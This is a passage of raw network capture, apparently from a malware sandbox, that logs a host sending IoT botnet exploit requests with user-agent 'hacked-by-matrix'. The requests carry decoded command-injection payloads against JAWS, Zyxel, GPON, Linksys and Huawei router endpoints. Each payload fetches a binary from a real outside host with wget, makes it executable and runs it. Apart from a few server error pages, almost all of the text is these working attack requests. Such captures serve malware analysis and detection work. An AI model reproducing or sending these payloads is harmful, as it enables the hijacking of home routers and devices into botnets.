http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:21:41.365681887 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:21:41.365709066 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:21:41.365734100 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:21:41.365765095 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:21:41.365789890 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:21:41.365849018 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:21:41.365921021 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to cloudwebx4.newtekwebhosting.com's <a href="mailto:
Mar 21, 2024 05:21:41.365936995 CET	554	IN	Data Raw: 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 Data Ascii: </ul> </div> </div> </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400ref

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	42508	23.42.95.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.383407116 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:21:40.542927980 CET	437	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 215 Expires: Thu, 21 Mar 2024 04:21:40 GMT Date: Thu, 21 Mar 2024 04:21:40 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 66 35 32 63 38 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 30 30 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.f52c817.1710994900.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	46826	213.231.156.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.456151962 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	45952	82.64.215.158	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.567203999 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:21:40.733356953 CET	995	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:21:40 GMT Server: Apache/2.4.38 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 31 3a 34 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 72 76 70 65 72 73 6f 37 32 2e 68 64 2e 66 72 65 65 2e 66 72 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:21:40 GMTServer: Apache/2.4.38 (Debian)Content-Length: 313Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at srvperso72.hd.free.fr Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	45904	34.118.51.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.644912958 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	35866	169.255.126.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.829296112 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:21:41.643498898 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	47890	18.118.92.73	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:41.041965961 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:41.599462032 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:41.701968908 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:21:41 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	50904	172.67.186.53	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:41.597552061 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	47844	172.87.199.31	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:41.668601990 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:42.531215906 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:43.519395113 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:45.503401041 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:49.631170988 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:57.573573112 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:13.441309929 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:46.204917908 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	56520	172.67.253.247	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:41.685446978 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	45840	172.93.142.215	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:41.775840998 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	33856	156.235.101.2	37215

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:42.046694040 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:21:46.307218075 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 